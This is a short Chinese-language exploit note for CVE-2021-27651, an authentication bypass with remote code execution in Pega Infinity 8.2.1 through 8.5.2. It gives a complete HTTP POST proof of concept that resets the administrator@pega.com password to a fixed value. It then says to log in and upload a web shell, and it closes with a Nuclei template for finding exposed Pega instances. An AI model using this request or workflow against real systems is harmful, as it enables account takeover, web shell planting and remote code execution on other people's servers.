CVE-2021-27651_PEGA_pega_infinity_授權認證繞過RCE漏洞

# CVE-2021-27651 PEGA pega infinity 授權認證繞過RCE漏洞
==影響版本==

Pega Infinity > = 8.2.1
Pega Infinity <= 8.5.2

==漏洞利用==
1.訪問任何實例登錄頁面，使用"administrator@pega.com"進行重置密碼進行登錄,PoC如下，重置密碼為：Rules@1234進行登錄後上傳shell進行rce。

POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID is a unique ID for each site, it is in this format: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W)
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: https://redacted.com
DNT: 1
Connection: close
Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD
Cookie: yourCookie
Upgrade-Insecure-Requests: 1

pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword=

Nuclei Template：

id: pega

info:
  name: Pega Infinity Login
  author: sshell
  severity: low

requests:
  - method: GET
    path:
      - "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs"
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    matchers:
      - type: word
        words:
          - "Pega API"